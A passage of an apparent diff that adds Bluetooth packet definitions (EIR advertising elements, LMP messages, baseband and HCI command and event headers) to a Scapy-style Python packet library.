LenField("len", None, fmt="B", adjust=lambda x: x + 1), # Add bytes mark # noqa: E501 + # https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile + ByteEnumField("type", 0, { + 0x01: "flags", + 0x02: "incomplete_list_16_bit_svc_uuids", + 0x03: "complete_list_16_bit_svc_uuids", + 0x04: "incomplete_list_32_bit_svc_uuids", + 0x05: "complete_list_32_bit_svc_uuids", + 0x06: "incomplete_list_128_bit_svc_uuids", + 0x07: "complete_list_128_bit_svc_uuids", + 0x08: "shortened_local_name", + 0x09: "complete_local_name", + 0x0a: "tx_power_level", + 0x0d: "class_of_device", + 0x0e: "simple_pairing_hash", + 0x0f: "simple_pairing_rand", + + 0x10: "sec_mgr_tk", + 0x11: "sec_mgr_oob_flags", + 0x12: "slave_conn_intvl_range", + 0x14: "list_16_bit_svc_sollication_uuids", + 0x15: "list_128_bit_svc_sollication_uuids", + 0x16: "svc_data_16_bit_uuid", + 0x17: "pub_target_addr", + 0x18: "rand_target_addr", + 0x19: "appearance", + 0x1a: "adv_intvl", + 0x1b: "le_addr", + 0x1c: "le_role", + 0x1d: "simple_pairing_hash_256", + 0x1e: "simple_pairing_rand_256", + 0x1f: "list_32_bit_svc_sollication_uuids", + + 0x20: "svc_data_32_bit_uuid", + 0x21: "svc_data_128_bit_uuid", + 0x22: "sec_conn_confirm", + 0x23: "sec_conn_rand", + 0x24: "uri", + 0x25: "indoor_positioning", + 0x26: "transport_discovery", + 0x27: "le_supported_features", + 0x28: "channel_map_update", + 0x29: "mesh_pb_adv", + 0x2a: "mesh_message", + 0x2b: "mesh_beacon", + + 0x3d: "3d_information", + + 0xff: "mfg_specific_data", + }), + ] + + def mysummary(self): + return self.sprintf("EIR %type%") + + +class EIR_Element(Packet): + name = "EIR Element" + + def extract_padding(self, s): + # Needed to end each EIR_Element packet and make PacketListField work. + return b'', s + + @staticmethod + def length_from(pkt): + if not pkt.underlayer: + warning("Missing an upper-layer") + return 0 + # 'type' byte is included in the length, so subtract 1: + return pkt.underlayer.len - 1 + + +class EIR_Raw(EIR_Element): + name = "EIR Raw" + fields_desc = [ + StrLenField("data", "", length_from=EIR_Element.length_from) + ] + + +class EIR_Flags(EIR_Element): + name = "Flags" + fields_desc = [ + FlagsField("flags", 0x2, 8, + ["limited_disc_mode", "general_disc_mode", + "br_edr_not_supported", "simul_le_br_edr_ctrl", + "simul_le_br_edr_host"] + 3 * ["reserved"]) + ] + + +class EIR_CompleteList16BitServiceUUIDs(EIR_Element): + name = "Complete list of 16-bit service UUIDs" + fields_desc = [ + # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members + FieldListField("svc_uuids", None, XLEShortField("uuid", 0), + length_from=EIR_Element.length_from) + ] + + +class EIR_IncompleteList16BitServiceUUIDs(EIR_CompleteList16BitServiceUUIDs): + name = "Incomplete list of 16-bit service UUIDs" + + +class EIR_CompleteList128BitServiceUUIDs(EIR_Element): + name = "Complete list of 128-bit service UUIDs" + fields_desc = [ + FieldListField("svc_uuids", None, + UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_REV), + length_from=EIR_Element.length_from) + ] + + +class EIR_IncompleteList128BitServiceUUIDs(EIR_CompleteList128BitServiceUUIDs): + name = "Incomplete list of 128-bit service UUIDs" + + +class EIR_CompleteLocalName(EIR_Element): + name = "Complete Local Name" + fields_desc = [ + StrLenField("local_name", "", length_from=EIR_Element.length_from) + ] + + +class EIR_ShortenedLocalName(EIR_CompleteLocalName): + name = "Shortened Local Name" + + +class EIR_TX_Power_Level(EIR_Element): + name = "TX Power Level" + fields_desc = [SignedByteField("level", 0)] + + +class EIR_Manufacturer_Specific_Data(EIR_Element): + name = "EIR Manufacturer Specific Data" + fields_desc = [ + # https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers + XLEShortField("company_id", None), + ] + + registered_magic_payloads = {} + + @classmethod + def register_magic_payload(cls, payload_cls, magic_check=None): + """ + Registers a payload type that uses magic data. + + Traditional payloads require registration of a Bluetooth Company ID + (requires company membership of the Bluetooth SIG), or a Bluetooth + Short UUID (requires a once-off payment). + + There are alternatives which don't require registration (such as + 128-bit UUIDs), but the biggest consumer of energy in a beacon is the + radio -- so the energy consumption of a beacon is proportional to the + number of bytes in a beacon frame. + + Some beacon formats side-step this issue by using the Company ID of + their beacon hardware manufacturer, and adding a "magic data sequence" + at the start of the Manufacturer Specific Data field. + + Examples of this are AltBeacon and GeoBeacon. + + For an example of this method in use, see ``scapy.contrib.altbeacon``. + + :param Type[scapy.packet.Packet] payload_cls: + A reference to a Packet subclass to register as a payload. + :param Callable[[bytes], bool] magic_check: + (optional) callable to use to if a payload should be associated + with this type. If not supplied, ``payload_cls.magic_check`` is + used instead. + :raises TypeError: If ``magic_check`` is not specified, + and ``payload_cls.magic_check`` is not implemented. + """ + if magic_check is None: + if hasattr(payload_cls, "magic_check"): + magic_check = payload_cls.magic_check + else: + raise TypeError("magic_check not specified, and {} has no " + "attribute magic_check".format(payload_cls)) + + cls.registered_magic_payloads[payload_cls] = magic_check + + def default_payload_class(self, payload): + for cls, check in six.iteritems( + EIR_Manufacturer_Specific_Data.registered_magic_payloads): + if check(payload): + return cls + + return Packet.default_payload_class(self, payload) + + def extract_padding(self, s): + # Needed to end each EIR_Element packet and make PacketListField work. + plen = EIR_Element.length_from(self) - 2 + return s[:plen], s[plen:] + + +class EIR_Device_ID(EIR_Element): + name = "Device ID" + fields_desc = [ + XLEShortField("vendor_id_source", 0), + XLEShortField("vendor_id", 0), + XLEShortField("product_id", 0), + XLEShortField("version", 0), + ] + + +class EIR_ServiceData16BitUUID(EIR_Element): + name = "EIR Service Data - 16-bit UUID" + fields_desc = [ + # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members + XLEShortField("svc_uuid", None), + ] + + def extract_padding(self, s): + # Needed to end each EIR_Element packet and make PacketListField work. + plen = EIR_Element.length_from(self) - 2 + return s[:plen], s[plen:] + + +class BT_LMP(Packet): + name = "Bluetooth Link Manager Protocol" + fields_desc = [ + BitEnumField("opcode", 0, 7, _bluetooth_lmp_opcode), + BitField("tid", None, 1), + ConditionalField(ByteEnumField("ext_opcode", 3, _bluetooth_lmp_ext_opcode), + lambda pkt: pkt.opcode == 127), + ] + + # Override default dissection function to include empty packet types + def do_dissect_payload(self, s): + cls = self.guess_payload_class(s) + if s or not cls.fields_desc: + p = cls(s, _internal=1, _underlayer=self) + self.add_payload(p) + + +class LMP_features_req(Packet): + name = "LMP_features_req" + fields_desc = [FlagsField("features", 0x8f7bffdbfecffebf, 64, _bluetooth_lmp_features)] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_features_res(LMP_features_req): + name = "LMP_features_res" + + +class LMP_version_req(Packet): + name = "LMP_version_req" + fields_desc = [ + ByteEnumField("version", 8, _bluetooth_lmp_versnr), # Version 4.2 by default + LEShortField("company_id", 15), # Broadcom + LEShortField("subversion", 24841) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_version_res(LMP_version_req): + name = "LMP_version_res" + + +class LMP_features_req_ext(Packet): + name = "LMP_features_req_ext" + fields_desc = [ByteEnumField("fpage", 1, {0: "standard features", + 1: "extended features 64-67", + 2: "extended features 128-140"}), + ByteField("max_page", 2), + ConditionalField(FlagsField("features0", 0, 64, _bluetooth_lmp_features), + lambda pkt: pkt.fpage == 0), + ConditionalField(FlagsField("features1", 0, 64, _bluetooth_lmp_ext_features_1), + lambda pkt: pkt.fpage == 1), + ConditionalField(FlagsField("features2", 0, 64, _bluetooth_lmp_ext_features_2), + lambda pkt: pkt.fpage == 2), + ConditionalField(FlagsField("features", 0, 64, _bluetooth_lmp_ext_features_2), + lambda pkt: pkt.fpage > 2), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_features_res_ext(LMP_features_req_ext): + name = "LMP_features_res_ext" + + +class LMP_name_req(Packet): + name = "LMP_name_req" + fields_desc = [ByteField("name_offset", 0)] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_name_res(Packet): + name = "LMP_name_res" + fields_desc = [ + ByteField("name_offset", 0), + FieldLenField("name_len", None, length_of="name_frag", fmt="B"), + StrLenField("name_frag", "", length_from=lambda pkt: pkt.name_len), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_detach(Packet): + name = "LMP_detach" + fields_desc = [ByteEnumField("error_code", 0x13, _bluetooth_lmp_error_code)] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_host_connection_req(Packet): + name = "LMP_host_connection_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_accepted(Packet): + name = "LMP_accepted" + fields_desc = [ + BitField("unused", 0, 1), + BitEnumField("code", 51, 7, _bluetooth_lmp_opcode), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_not_accepted(Packet): + name = "LMP_not_accepted" + fields_desc = [ + BitField("unused", 0, 1), + BitEnumField("code", 51, 7, _bluetooth_lmp_opcode), + ByteEnumField("error_code", 6, _bluetooth_lmp_error_code) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_au_rand(Packet): + name = "LMP_au_rand" + fields_desc = [ + StrFixedLenField("rand", b"\x00" * 16, 16) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_encapsulated_header(Packet): + name = "LMP_encapsulated_header" + fields_desc = [ + ByteField("major_type", 1), + ByteField("minor_type", 1), + ByteField("enc_len", 48), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_encapsulated_payload(Packet): + name = "LMP_encapsulated_payload" + fields_desc = [ + StrFixedLenField("data", b"\x00" * 16, 16) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_Simple_Pairing_Confirm(Packet): + name = "LMP_Simple_Pairing_Confirm" + fields_desc = [ + StrFixedLenField("commit", b"\x00" * 16, 16) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_Simple_Pairing_Number(Packet): + name = "LMP_Simple_Pairing_Number" + fields_desc = [ + StrFixedLenField("nonce", b"\x00" * 16, 16) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_DHkey_Check(Packet): + name = "LMP_DHkey_Check" + fields_desc = [ + StrFixedLenField("confirm", b"\x00" * 16, 16) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_sres(Packet): + name = "LMP_sres" + fields_desc = [ + StrFixedLenField("authres", b"\x00" * 4, 4) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_encryption_mode_req(Packet): + name = "LMP_encryption_mode_req" + fields_desc = [ + ByteEnumField("mode", 1, { + 0: "no encryption", + 1: "encryption", + 2: "previously used", + }) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_encryption_key_size_req(Packet): + name = "LMP_encryption_key_size_req" + fields_desc = [ByteField("keysize", 16)] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_start_encryption_req(Packet): + name = "LMP_start_encryption_req" + fields_desc = [ + StrFixedLenField("rand", b"\x00" * 16, 16) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_stop_encryption_req(Packet): + name = "LMP_stop_encryption_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_setup_complete(Packet): + name = "LMP_setup_complete" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_packet_type_table_req(Packet): + name = "LMP_packet_type_table_req" + fields_desc = [ByteEnumField("pkt_type_table", 1, { + 0: "1 Mbps only", + 1: "2/3 Mbps", + })] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_accepted_ext(Packet): + name = "LMP_accepted_ext" + fields_desc = [ + BitField("unused", 0, 1), + BitEnumField("code1", 127, 7, _bluetooth_lmp_opcode), + ByteEnumField("code2", 11, _bluetooth_lmp_ext_opcode) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_not_accepted_ext(Packet): + name = "LMP_accepted_ext" + fields_desc = [ + BitField("unused", 0, 1), + BitEnumField("code1", 127, 7, _bluetooth_lmp_opcode), + ByteEnumField("code2", 11, _bluetooth_lmp_ext_opcode), + ByteEnumField("error_code", 6, _bluetooth_lmp_error_code), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_set_AFH(Packet): + name = "LMP_set_AFH" + fields_desc = [ + LEIntField("instant", 0x00011cee), + ByteEnumField("mode", 1, { + 0: "disabled", + 1: "enabled" + }), + XStrFixedLenField("chM", b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\x7f', 10), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_channel_classification_req(Packet): + name = "LMP_channel_classification_req" + fields_desc = [ + ByteEnumField("mode", 1, { + 0: "AFH reporting disabled", + 1: "AFH reporting enabled" + }), + LEShortField("min_interval", 0x0640), + LEShortField("max_interval", 0xbb80), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_channel_classification(Packet): + name = "LMP_channel_classification" + fields_desc = [XStrFixedLenField("class", b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\x7f', 10)] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_max_slot_req(Packet): + name = "LMP_max_slot_req" + fields_desc = [ByteField("max_slots", 5)] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_max_slot(LMP_max_slot_req): + name = "LMP_max_slot" + + +class LMP_clkoffset_req(Packet): + name = "LMP_clkoffset_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_clkoffset_res(Packet): + name = "LMP_clkoffset_res" + fields_desc = [LEShortField("offset", 9450)] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_sniff_req(Packet): + name = "LMP_sniff_req" + fields_desc = [ + FlagsField("timectr", 0x02, 8, ["change", "init", "accwin", "un3", "un4", "un5", "un6", "un7"]), + LEShortField("dsniff", 0), + LEShortField("tsniff", 0x31e), + LEShortField("sniff_attempt", 4), + LEShortField("sniff_timeout", 1), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_unsniff_req(Packet): + name = "LMP_unsniff_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_max_power(Packet): + name = "LMP_max_power" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_min_power(Packet): + name = "LMP_min_power" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_power_control_req(Packet): + name = "LMP_power_control_req" + fields_desc = [ByteEnumField("poweradj", 0, { + 0: "decrement power one step", + 1: "increment power one step", + 2: "increase to maximum power" + })] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_power_control_res(Packet): + name = "LMP_power_control_res" + fields_desc = [ + BitField("unused", 0, 2), + BitEnumField("p_8dpsk", 1, 2, _bluetooth_lmp_power_adjustment_res), + BitEnumField("p_dqpsk", 1, 2, _bluetooth_lmp_power_adjustment_res), + BitEnumField("p_gfsk", 1, 2, _bluetooth_lmp_power_adjustment_res), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_auto_rate(Packet): + name = "LMP_auto_rate" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_preferred_rate(Packet): + name = "LMP_preferred_rate" + fields_desc = [ + BitField("rfu", 0, 1), + BitEnumField("edrsize", 0, 2, { + 0: "not available", + 1: "1-slot packets", + 2: "3-slot packets", + 3: "5-slot packets", + }), + BitEnumField("type", 0, 2, { + 0: "DM1 packets", + 1: "2MBs packets", + 2: "3MBs packets", + 3: "rfu", + }), + BitEnumField("size", 0, 2, { + 0: "not available", + 1: "1-slot packets", + 2: "3-slot packets", + 3: "5-slot packets", + }), + BitEnumField("fec", 0, 1, { + 0: "use FEC", + 1: "do not use FEC" + }), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_timing_accuracy_req(Packet): + name = "LMP_timing_accuracy_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_timing_accuracy_res(Packet): + name = "LMP_timing_accuracy_res" + fields_desc = [ + ByteField("drift", 45), + ByteField("jitter", 10) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_page_scan_mode_req(Packet): + name = "LMP_page_scan_mode_req" + fields_desc = [ + ByteEnumField("scheme", 45, {0: "mandatory"}), + ByteEnumField("settings", 10, { + 0: "R0", + 1: "R1", + 2: "R2" + }) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_page_mode_req(Packet): + name = "LMP_page_mode_req" + fields_desc = [ + ByteEnumField("scheme", 45, {0: "mandatory"}), + ByteEnumField("settings", 10, { + 0: "R0", + 1: "R1", + 2: "R2" + }) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_supervision_timeout(Packet): + name = "LMP_supervision_timeout" + fields_desc = [ + LEShortField("timeout", 8000) + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_sniff_subrating_req(Packet): + name = "LMP_sniff_subrating_req" + fields_desc = [ + ByteField("max_sniff_subrate", 1), + LEShortField("min_sniff_timeout", 2), + LEShortField("subrating_instant", 42432), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_sniff_subrating_res(LMP_sniff_subrating_req): + name = "LMP_sniff_subrating_res" + + +class LMP_pause_encryption_req(Packet): + name = "LMP_pause_encryption_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_resume_encryption_req(Packet): + name = "LMP_resume_encryption_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_IO_Capability_req(Packet): + name = "LMP_IO_Capability_req" + fields_desc = [ + ByteEnumField("io_cap", 0x03, { + 0: "DisplayOnly", + 1: "DisplayYesNo", + 2: "KeyboardOnly", + 3: "NoInputNoOutput" + }), + ByteEnumField("oob", 0x00, { + 0: "not present", + 1: "P-192", + 2: "P-256", + 3: "P-192 and P-256" + }), + ByteEnumField("auth", 0x03, { + 0: "MITM Protection Not Required - No Bonding", + 1: "MITM Protection Required - No Bonding", + 2: "MITM Protection Not Required - Dedicated Bonding", + 3: "MITM Protection Required - Dedicated Bonding", + 4: "MITM Protection Not Required - General Bonding", + 5: "MITM Protection Required - General Bonding" + }), + ] + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_IO_Capability_res(LMP_IO_Capability_req): + name = "LMP_IO_Capability_res" + + +class LMP_numeric_comparison_failed(Packet): + name = "LMP_IO_Capability_res" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_passkey_failed(Packet): + name = "LMP_passkey_failed" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_oob_failed(Packet): + name = "LMP_oob_failed" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_ping_req(Packet): + name = "LMP_ping_req" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class LMP_ping_res(Packet): + name = "LMP_ping_res" + + def post_dissect(self, s): + # Truncate padding + return "" + + +class HCI_Diag_Hdr(Packet): + name = "HCI Diag header" + fields_desc = [ByteEnumField("diag_type", 0, _bluetooth_diag_types), + IntField("clock", 0), + XIntField("maclow", None), + ConditionalField(StrFixedLenField("padding", b"\x00\x00\x00", 3), + lambda pkt: pkt.diag_type == 1), + BitField("len", None, 5), + BitEnumField("flow", 0, 1, {0: False, 1: True}), + BitEnumField("llid", 0, 2, {0x00: 'undefined', + 0x01: 'Continuation fragment of an L2CAP message', + 0x02: 'Start of an L2CAP message or no fragmentation', + 0x03: 'LMP'}), + ] + + def post_build(self, p, pay): + + if self.len is None: + p_len = p[9] & 0b00000111 # Clear length field + p_len |= len(pay) << 3 + p = p[:9] + bytes(chr(p_len), encoding='utf-8') + pay + else: + p += pay + + return p + +class BT_Baseband(Packet): + name = "BT_Baseband" + fields_desc = [ + + BitField("flow", 0, 1), + BitEnumField("type", 0, 4, {0x2: "FHS", 0x03: "DM1", 0x04: "DH1/2-DH1", 0x08: "DV/3-DH1"}), + BitField("lt_addr", 0, 3), + + # BitField("lt_addr", 0, 3), + # BitEnumField("type", 0, 4, {0x2: "FHS", 0x03: "DM1", 0x04: "DH1/2-DH1", 0x08: "DV/3-DH1"}), + # BitField("flow", 0, 1), + + BitField("arqn", 0, 1), + BitField("seqn", 0, 1), + BitField("hec", 0, 6), + ] + + def guess_payload_class(self, payload): + if self.type == 0x04 or self.type == 0x08: + return BT_ACL_Hdr + else: + return Packet.guess_payload_class(self, payload) + +class BT_ACL_Hdr(Packet): + name = "BT ACL Header" + fields_desc = [ + # BitField("rfu", 0, 3), + BitFieldLenField("len", None, 5), + BitEnumField("flow", 0, 1, {0: False, 1: True}), + BitEnumField("llid", 0, 2, {0x00: 'undefined', + 0x01: 'Continuation fragment of an L2CAP message', + 0x02: 'Start of an L2CAP message or no fragmentation', + 0x03: 'LMP'}), + ByteField('dummy', 0) + ] + + +class HCI_Command_Hdr(Packet): + name = "HCI Command header" + fields_desc = [XLEShortField("opcode", 0), + LenField("len", None, fmt="B"), ] + + def answers(self, other): + return False + + def post_build(self, p, pay): + p += pay + if self.len is None: + p = p[:2] + struct.pack("B", len(pay)) + p[3:] + return p + + +class HCI_Cmd_Reset(Packet): + name = "Reset" + + +class HCI_Cmd_Set_Event_Filter(Packet): + name = "Set Event Filter" + fields_desc = [ByteEnumField("type", 0, {0: "clear"}), ] + + +class HCI_Cmd_Connect_Accept_Timeout(Packet): + name = "Connection Attempt Timeout" + fields_desc = [LEShortField("timeout", 32000)] # 32000 slots is 20000 msec + + +class HCI_Cmd_LE_Host_Supported(Packet): + name = "LE Host Supported" + fields_desc = [ByteField("supported", 1), + ByteField("simultaneous", 1), ] + + +class HCI_Cmd_Set_Event_Mask(Packet): + name = "Set Event Mask" + fields_desc = [StrFixedLenField("mask", b"\xff\xff\xfb\xff\x07\xf8\xbf\x3d", 8)] # noqa: E501 + + +class HCI_Cmd_Read_BD_Addr(Packet): + name = "Read BD Addr" + + +class HCI_Cmd_Write_Local_Name(Packet): + name = "Write Local Name" + fields_desc = [StrField("name", "")] + + +class HCI_Cmd_Write_Extended_Inquiry_Response(Packet): + name = "Write Extended Inquiry Response" + fields_desc = [ByteField("fec_required", 0), + PacketListField("eir_data", [], EIR_Hdr, + length_from=lambda pkt: pkt.len)] + + +class HCI_Cmd_LE_Set_Scan_Parameters(Packet): + name = "LE Set Scan Parameters" + fields_desc = [ByteEnumField("type", 1, {1: "active"}), + XLEShortField("interval", 16), + XLEShortField("window", 16), + ByteEnumField("atype", 0, {0: "public"}), + ByteEnumField("policy", 0, {0: "all", 1: "whitelist"})] + + +class HCI_Cmd_LE_Set_Scan_Enable(Packet): + name = "LE Set Scan Enable" + fields_desc = [ByteField("enable", 1), + ByteField("filter_dups", 1), ] + + +class HCI_Cmd_Disconnect(Packet): + name = "Disconnect" + fields_desc = [XLEShortField("handle", 0), + ByteField("reason", 0x13), ] + + +class HCI_Cmd_LE_Create_Connection(Packet): + name = "LE Create Connection" + fields_desc = [LEShortField("interval", 96), + LEShortField("window", 48), + ByteEnumField("filter", 0, {0: "address"}), + ByteEnumField("patype", 0, {0: "public", 1: "random"}), + LEMACField("paddr", None), + ByteEnumField("atype", 0, {0: "public", 1: "random"}), + LEShortField("min_interval", 40), + LEShortField("max_interval", 56), + LEShortField("latency", 0), + LEShortField("timeout", 42), + LEShortField("min_ce", 0), + LEShortField("max_ce", 0), ] + + +class HCI_Cmd_LE_Create_Connection_Cancel(Packet): + name = "LE Create Connection Cancel" + + +class HCI_Cmd_LE_Read_White_List_Size(Packet): + name = "LE Read White List Size" + + +class HCI_Cmd_LE_Clear_White_List(Packet): + name = "LE Clear White List" + + +class HCI_Cmd_LE_Add_Device_To_White_List(Packet): + name = "LE Add Device to White List" + fields_desc = [ByteEnumField("atype", 0, {0: "public", 1: "random"}), + LEMACField("address", None)] + + +class HCI_Cmd_LE_Remove_Device_From_White_List(HCI_Cmd_LE_Add_Device_To_White_List): # noqa: E501 + name = "LE Remove Device from White List" + + +class HCI_Cmd_LE_Connection_Update(Packet): + name = "LE Connection Update" + fields_desc = [XLEShortField("handle", 0), + XLEShortField("min_interval", 0), + XLEShortField("max_interval", 0), + XLEShortField("latency", 0), + XLEShortField("timeout", 0), + LEShortField("min_ce", 0), + LEShortField("max_ce", 0xffff), ] + + +class HCI_Cmd_LE_Read_Buffer_Size(Packet): + name = "LE Read Buffer Size" + + +class HCI_Cmd_LE_Read_Remote_Used_Features(Packet): + name = "LE Read Remote Used Features" + fields_desc = [LEShortField("handle", 64)] + + +class HCI_Cmd_LE_Set_Random_Address(Packet): + name = "LE Set Random Address" + fields_desc = [LEMACField("address", None)] + + +class HCI_Cmd_LE_Set_Advertising_Parameters(Packet): + name = "LE Set Advertising Parameters" + fields_desc = [LEShortField("interval_min", 0x0800), + LEShortField("interval_max", 0x0800), + ByteEnumField("adv_type", 0, + {0: "ADV_IND", 1: "ADV_DIRECT_IND", 2: "ADV_SCAN_IND", 3: "ADV_NONCONN_IND", + 4: "ADV_DIRECT_IND_LOW"}), # noqa: E501 + ByteEnumField("oatype", 0, {0: "public", 1: "random"}), + ByteEnumField("datype", 0, {0: "public", 1: "random"}), + LEMACField("daddr", None), + ByteField("channel_map", 7), + ByteEnumField("filter_policy", 0, + {0: "all:all", 1: "connect:all scan:whitelist", 2: "connect:whitelist scan:all", + 3: "all:whitelist"}), ] # noqa: E501 + + +class HCI_Cmd_LE_Set_Advertising_Data(Packet): + name = "LE Set Advertising Data" + fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), + PadField( + PacketListField("data", [], EIR_Hdr, + length_from=lambda pkt: pkt.len), + align=31, padwith=b"\0"), ] + + +class HCI_Cmd_LE_Set_Scan_Response_Data(Packet): + name = "LE Set Scan Response Data" + fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), + StrLenField("data", "", length_from=lambda pkt: pkt.len), ] + + +class HCI_Cmd_LE_Set_Advertise_Enable(Packet): + name = "LE Set Advertise Enable" + fields_desc = [ByteField("enable", 0)] + + +class HCI_Cmd_LE_Start_Encryption_Request(Packet): + name = "LE Start Encryption" + fields_desc = [LEShortField("handle", 0), + StrFixedLenField("rand", None, 8), + XLEShortField("ediv", 0), + StrFixedLenField("ltk", b'\x00' * 16, 16), ] + + +class HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply(Packet): + name = "LE Long Term Key Request Negative Reply" + fields_desc = [LEShortField("handle", 0), ] + + +class HCI_Cmd_LE_Long_Term_Key_Request_Reply(Packet): + name = "LE Long Term Key Request Reply" + fields_desc = [LEShortField("handle", 0), + StrFixedLenField("ltk", b'\x00' * 16, 16), ] + + +class HCI_Event_Hdr(Packet): + name = "HCI Event header" + fields_desc = [XByteField("code", 0), + LenField("len", None, fmt="B"), ] + + def answers(self, other): + if HCI_Command_Hdr not in other: + return False + + # Delegate answers to event types + return self.payload.answers(other) + + +class HCI_Event_Disconnection_Complete(Packet): + name = "Disconnection Complete" + fields_desc = [ByteEnumField("status", 0, {0: "success"}), + LEShortField("handle", 0), + XByteField("reason", 0), ] + + +class HCI_Event_Encryption_Change(Packet): + name = "Encryption Change" + fields_desc = [ByteEnumField("status", 0, {0: "change has occurred"}), + LEShortField("handle", 0), + ByteEnumField("enabled", 0, {0: "OFF", 1: "ON (LE)", 2: "ON (BR/EDR)"}), ] # noqa: E501 + + +class HCI_Event_Command_Complete(Packet): + name = "Command Complete" + fields_desc = [ByteField("number", 0), + XLEShortField("opcode", 0), + ByteEnumField("status", 0, _bluetooth_error_codes)] + + def answers(self, other): + if HCI_Command_Hdr not in other: + return False + + return other[HCI_Command_Hdr].opcode == self.opcode + + +class HCI_Cmd_Complete_Read_BD_Addr(Packet): + name = "Read BD Addr" + fields_desc = [LEMACField("addr", None), ] + + +class HCI_Cmd_Complete_LE_Read_White_List_Size(Packet): + name = "LE Read White List Size" + fields_desc = [ByteField("status", 0), + ByteField("size", 0), ] + + +class HCI_Event_Command_Status(Packet): + name = "Command Status" + fields_desc = [ByteEnumField("status", 0, {0: "pending"}), + ByteField("number", 0), + XLEShortField("opcode", None), ] + + def answers(self, other): + if HCI_Command_Hdr not in other: + return False + + return other[HCI_Command_Hdr].opcode == self.opcode + + +class HCI_Event_Number_Of_Completed_Packets(Packet): + name = "Number Of Completed Packets" + fields_desc = [ByteField("number", 0)] + + +class HCI_Event_LE_Meta(Packet): + name = "LE Meta" + fields_desc = [ByteEnumField("event", 0, { + 1: "connection_complete", + 2: "advertising_report", + 3: "connection_update_complete", + 5: "long_term_key_request", + }), ] + + def answers(self, other): + if not self.payload: + return False + + # Delegate answers to payload + return self.payload.answers(other) + + +class HCI_LE_Meta_Connection_Complete(Packet): + name = "Connection Complete" + fields_desc = [ByteEnumField("status", 0, {0: "success"}), + LEShortField("handle", 0), + ByteEnumField("role", 0, {0: "master"}), + ByteEnumField("patype", 0, {0: "public", 1: "random"}), + LEMACField("paddr", None), + LEShortField("interval", 54), + LEShortField("latency", 0), + LEShortField("supervision", 42), + XByteField("clock_latency", 5), ] + + def answers(self, other): + if HCI_Cmd_LE_Create_Connection not in other: + return False + + return (other[HCI_Cmd_LE_Create_Connection].patype == self.patype and + other[HCI_Cmd_LE_Create_Connection].paddr == self.paddr) + + +class HCI_LE_Meta_Connection_Update_Complete(Packet): + name = "Connection Update Complete" + fields_desc = [ByteEnumField("status", 0, {0: "success"}), + LEShortField("handle", 0), + LEShortField("interval", 54), + LEShortField("latency", 0), + LEShortField("timeout", 42), ] + + +class HCI_LE_Meta_Advertising_Report(Packet): + name = "Advertising Report" + fields_desc = [ByteEnumField("type", 0, {0: "conn_und", 4: "scan_rsp"}), + ByteEnumField("atype", 0, {0: "public", 1: "random"}), + LEMACField("addr", None), + FieldLenField("len", None, length_of="data", fmt="B"), + PacketListField("data", [], EIR_Hdr, + 